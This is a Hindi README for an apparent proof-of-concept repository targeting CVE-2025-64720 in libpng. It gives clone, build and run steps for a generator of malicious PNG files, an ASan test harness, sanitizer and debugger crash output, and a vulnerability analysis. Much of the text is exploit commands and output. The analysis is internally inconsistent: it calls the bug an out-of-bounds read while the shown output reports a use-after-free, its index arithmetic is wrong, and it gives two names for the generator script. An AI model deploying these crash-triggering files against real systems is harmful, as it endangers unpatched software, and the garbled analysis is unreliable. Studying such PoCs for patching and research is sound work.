
CVE-2025-64720 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो पैलेट प्रीमल्टीप्लिकेशन में libpng बफर ओवरफ्लो है। इसमें एक्सप्लॉइट जनरेटर, ASan/UBSan के साथ टेस्ट हार्नेस, और हीप-यूज़-आफ्टर-फ्री कमजोरी का विस्तृत तकनीकी विश्लेषण शामिल है।
स्थिति: पैच किया गया
गंभीरता: उच्च
CVE ID: CVE-2025-64720
खोज तिथि: 2025-11-XX
सार्वजनिक प्रकटीकरण: 2025-11-21
libpng के png_image_read_composite फ़ंक्शन में एक आउट-ऑफ़-बाउंड रीड भेद्यता मौजूद है, जब PNG_FLAG_OPTIMIZE_ALPHA सक्षम के साथ पैलेट इमेज को प्रोसेस किया जाता है। png_init_read_transformations में पैलेट कम्पोज़िटिंग कोड प्रीमल्टिप्लिकेशन के दौरान गलत तरीके से बैकग्राउंड कम्पोज़िटिंग लागू करता है, जो सरलीकृत PNG API के लिए आवश्यक component ≤ alpha × 257 अपरिवर्तनीयता का उल्लंघन करता है, जिससे मेमोरी भ्रष्टाचार होता है।
png_init_read_transformations में लाइन ~1336 पर, पैलेट विस्तार कोड निम्नलिखित प्रदर्शन करता है:
component += (255-alpha)*png_sRGB_table[outrow[c]];
यह गणना component मानों को 16,776,960 (0x1000800) तक उत्पन्न करती है, जहाँ (component >> 15) == 512 है। png_image_read_composite में बाद का PNG_sRGB_FROM_LINEAR मैक्रो आउट-ऑफ़-बाउंड ऐरे एक्सेस करता है:
png_sRGB_base[component>>15] // Accesses png_sRGB_base[512]
png_sRGB_delta[component>>15] // Accesses png_sRGB_delta[512]
// दोनों ऐरे में केवल इंडेक्स 0-511 (आकार 512) हैं
समस्या तब होती है जब:
PNG_FLAG_OPTIMIZE_ALPHA आंतरिक रूप से सक्षम हैpngread.c, pngtrans.cpng_image_read_composite, png_init_read_transformationsअपेक्षित: component ≤ alpha × 257
सुनिश्चित करता है (component >> 15) ≤ 511 (ऐरे सीमा के भीतर)
वास्तविक: component = previous_value + (255-alpha) × png_sRGB_table[RGB_value]
alpha=0, RGB=255 के साथ: component अपेक्षित सीमा से अधिक हो सकता है
परिणाम: (component >> 15) 512 के बराबर हो सकता है (सीमा से बाहर एक्सेस)
# विधि 1: pkg-config
pkg-config --modversion libpng
# विधि 2: प्रत्यक्ष लाइब्रेरी क्वेरी
libpng-config --version
# विधि 3: बाइनरी जाँच
strings /usr/lib/libpng*.so* | grep -i "libpng version"
# विधि 4: स्रोत से
grep PNG_LIBPNG_VER_STRING png.h
एक हमलावर विशिष्ट विशेषताओं वाली एक दुर्भावनापूर्ण PNG फ़ाइल बनाकर इस भेद्यता का शोषण कर सकता है:
आक्रमण पूर्वापेक्षाएँ:
png_image_* फ़ंक्शन) का उपयोग करता हैआक्रमण चरण:
PNG_FLAG_OPTIMIZE_ALPHA आंतरिक रूप से सक्षम हैआक्रमण परिणाम:
png_sRGB_base या png_sRGB_delta से आउट-ऑफ़-बाउंड रीड┌─────────────────┐
│ png_sRGB_base │ ऐरे इंडेक्स: 0-511 (512 प्रविष्टियाँ)
│ [512 प्रविष्टियाँ] │ मान्य एक्सेस: (component >> 15) ≤ 511
├─────────────────┤
│ [OOB एक्सेस] │ इंडेक्स 512 ← भेद्य एक्सेस जब component ≥ 0x1000000
├─────────────────┤
│ png_sRGB_delta │ ऐरे इंडेक्स: 0-511 (512 प्रविष्टियाँ)
│ [512 प्रविष्टियाँ] │ समान OOB एक्सेस के लिए भी भेद्य
├─────────────────┤
│ आसन्न मेमोरी │ संभावित सूचना प्रकटीकरण
└─────────────────┘
गणना जो ओवरफ़्लो का कारण बनती है:
component = alpha × component + (255-alpha) × png_sRGB_table[palette_RGB]
जब alpha=0 और palette_RGB=255:
component = 0 + 255 × 65535 = 16,711,425
(component >> 15) = 512 (सीमा से बाहर!)
आवश्यक शर्तें:
png_image_finish_read)वैकल्पिक कारक:
PNG_FORMAT_FLAG_AFIRST वाला प्रारूप क्रैश की संभावना बढ़ाता हैगैर-ट्रिगरिंग स्थितियाँ:
# रिपॉजिटरी क्लोन करें
git clone https://github.com/truediogo/CVE-2025-64720
cd CVE-2025-64720
# इमेज जनरेट करें
python3 generate-images.py
# टेस्ट बनाएँ
chmod +x build.sh
./build.sh
# एक्सप्लॉइट चलाएँ (भेद्य libpng < 1.6.51 की आवश्यकता है)
./test_asan exploit_v1.png exploit_v2.png exploit_v3.png exploit_v4.png
generate-images.py)दुर्भावनापूर्ण PNG फ़ाइलें उत्पन्न करता है जो भेद्यता को ट्रिगर करती हैं।
उपयोग:
python3 generate_poc.py
आउटपुट:
exploit_v1.png - 8x8 इमेज, एकसमान सफेद पैलेट, शून्य अल्फाexploit_v2.png - 8x8 इमेज, रणनीतिक पैलेट भिन्नताexploit_v3.png - 64x64 इमेज, बड़ी दोहराए गए पैटर्न के साथexploit_v4.png - 4x4 इमेज, न्यूनतम मामला सभी-शून्य अल्फा के साथविकल्प:
# विशिष्ट वेरिएंट उत्पन्न करें
generate_malicious_png('custom.png', variant=2)
# वेरिएंट:
# 1: अधिकतम RGB मान शून्य अल्फा के साथ (विश्वसनीय)
# 2: अधिकतम ओवरफ़्लो के लिए डिज़ाइन किया गया रणनीतिक पैलेट
# 3: दोहराए गए ट्रिगरिंग पैटर्न के साथ बड़ी छवि
# 4: वैश्विक-बफर-ओवरफ़्लो को लक्षित करने वाला न्यूनतम मामला
test.c)सरलीकृत API का उपयोग करके PNG फ़ाइलों को संसाधित करता है और भेद्यता प्रदर्शित करता है।
संकलन:
# AddressSanitizer के साथ (अनुशंसित - सर्वोत्तम पहचान)
gcc -o test_asan test.c -lpng -fsanitize=address -g -O0 -fno-omit-frame-pointer
# UndefinedBehaviorSanitizer के साथ
gcc -o test_ubsan test.c -lpng -fsanitize=undefined -g -O0
# डिबगिंग प्रतीकों के साथ
gcc -o test_debug test.c -lpng -g -O0
# Valgrind के लिए
gcc -o test_valgrind test.c -lpng -g -O0 -fno-inline
विशेषताएँ:
भेद्य संस्करण पर (libpng 1.6.36):
libpng version: 1.6.36
PNG_LIBPNG_VER: 10636
[!] libpng < 1.6.51 का पता चला (भेद्य संस्करण)
=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8
Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00
Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
=================================================================
==12345==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000520
READ of size 8 at 0x604000000520 thread T0
#0 0x000102b4da24 in png_safe_execute pngerror.c:944
#1 0x000102b5d7c8 in png_image_finish_read pngread.c:4184
#2 0x000102b34ecc in test_png test.c:64
#3 0x000102b35410 in main test.c:97
0x604000000520 is located 16 bytes inside of 48-byte region [0x604000000510,0x604000000540)
freed by thread T0 here:
#0 0x000103245480 in free+0x7c
#1 0x000102b566b4 in png_free_default pngmem.c:252
[Stack trace continues...]
SUMMARY: AddressSanitizer: heap-use-after-free pngerror.c:944 in png_safe_execute
==12345==ABORTING
पैच किए गए संस्करण पर (libpng >= 1.6.51):
libpng version: 1.6.51
PNG_LIBPNG_VER: 10651
[!] चेतावनी: libpng >= 1.6.51 का पता चला (भेद्यता पैच की गई है)
=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8
Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00
Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00
=== All tests completed ===
python3 generate_poc.py
अपेक्षित आउटपुट:
======================================================================
libpng Out-of-Bounds Read PoC Generator
भेद्यता: पैलेट + पारदर्शिता + PNG_FLAG_OPTIMIZE_ALPHA
======================================================================
[+] वेरिएंट 1 उत्पन्न: exploit_v1.png
आकार: 434 बाइट्स, आयाम: 8x8
[+] वेरिएंट 2 उत्पन्न: exploit_v2.png
आकार: 434 बाइट्स, आयाम: 8x8
[+] वेरिएंट 3 उत्पन्न: exploit_v3.png
आकार: 2258 बाइट्स, आयाम: 64x64
[+] वेरिएंट 4 उत्पन्न: exploit_v4.png
आकार: 356 बाइट्स, आयाम: 4x4
[+] उन्नत परीक्षण प्रोग्राम: test.c
[+] बिल्ड स्क्रिप्ट: build.sh
chmod +x build.sh
./build.sh
अपेक्षित आउटपुट:
[*] टेस्ट बनाया जा रहा है...
[*] AddressSanitizer के साथ बनाया जा रहा है...
[*] UBSan के साथ बनाया जा रहा है...
[*] डिबग संस्करण बनाया जा रहा है...
[*] Valgrind के लिए बनाया जा रहा है...
[+] बिल्ड पूर्ण। निष्पादन योग्य:
-rwxr-xr-x 1 user staff 95KB test_asan
-rwxr-xr-x 1 user staff 87KB test_ubsan
-rwxr-xr-x 1 user staff 72KB test_debug
-rwxr-xr-x 1 user staff 72KB test_valgrind
./test_asan exploit_v1.png
अपेक्षित परिणाम (भेद्य - libpng 1.6.36):
libpng version: 1.6.36
PNG_LIBPNG_VER: 10636
[!] libpng < 1.6.51 का पता चला (भेद्य संस्करण)
=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8
Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00
Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
=================================================================
==6751==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000520
READ of size 8 at 0x604000000520 thread T0
#0 png_safe_execute pngerror.c:944
#1 png_image_finish_read pngread.c:4184
#2 test_png test.c:64
#3 main test.c:97
SUMMARY: AddressSanitizer: heap-use-after-free pngerror.c:944
==6751==ABORTING
अपेक्षित परिणाम (पैच किया गया - libpng >= 1.6.51):
libpng version: 1.6.51
PNG_LIBPNG_VER: 10651
[!] चेतावनी: libpng >= 1.6.51 का पता चला (भेद्यता पैच की गई है)
=== Testing: exploit_v1.png ===
[सभी परीक्षण बिना क्रैश के सफलतापूर्वक पूर्ण]
gcc -o test test.c -lpng -g -O0 -fno-inline
valgrind --leak-check=full --track-origins=yes --show-leak-kinds=all \
./test exploit_v1.png
अपेक्षित आउटपुट (भेद्य):
==12345== Invalid read of size 8
==12345== at 0x...: png_safe_execute (pngerror.c:944)
==12345== by 0x...: png_image_finish_read (pngread.c:4184)
==12345== Address 0x... is 16 bytes inside a block of size 48 free'd
gdb ./test_debug
(gdb) set args exploit_v1.png
(gdb) run
# प्रोग्राम क्रैश हो जाएगा
(gdb) bt
# png_safe_execute के साथ शीर्ष पर बैकट्रेस दिखाता है
(gdb) info registers
(gdb) x/32wx $rsp
# क्रैश पर मेमोरी स्थिति की जाँच करें
lldb ./test_debug
(lldb) settings set target.run-args exploit_v1.png
(lldb) run
# प्रोग्राम क्रैश हो जाएगा
(lldb) bt
# बैकट्रेस दिखाता है
(lldb) register read
(lldb) memory read -c 32 -- $sp
⚠️ महत्वपूर्ण: यह PoC केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए प्रदान किया गया है।
यह कोड इसके लिए अभिप्रेत है:
यह कोड इसके लिए अभिप्रेत नहीं है:
इस कोड का उपयोग करके, आप सहमत हैं: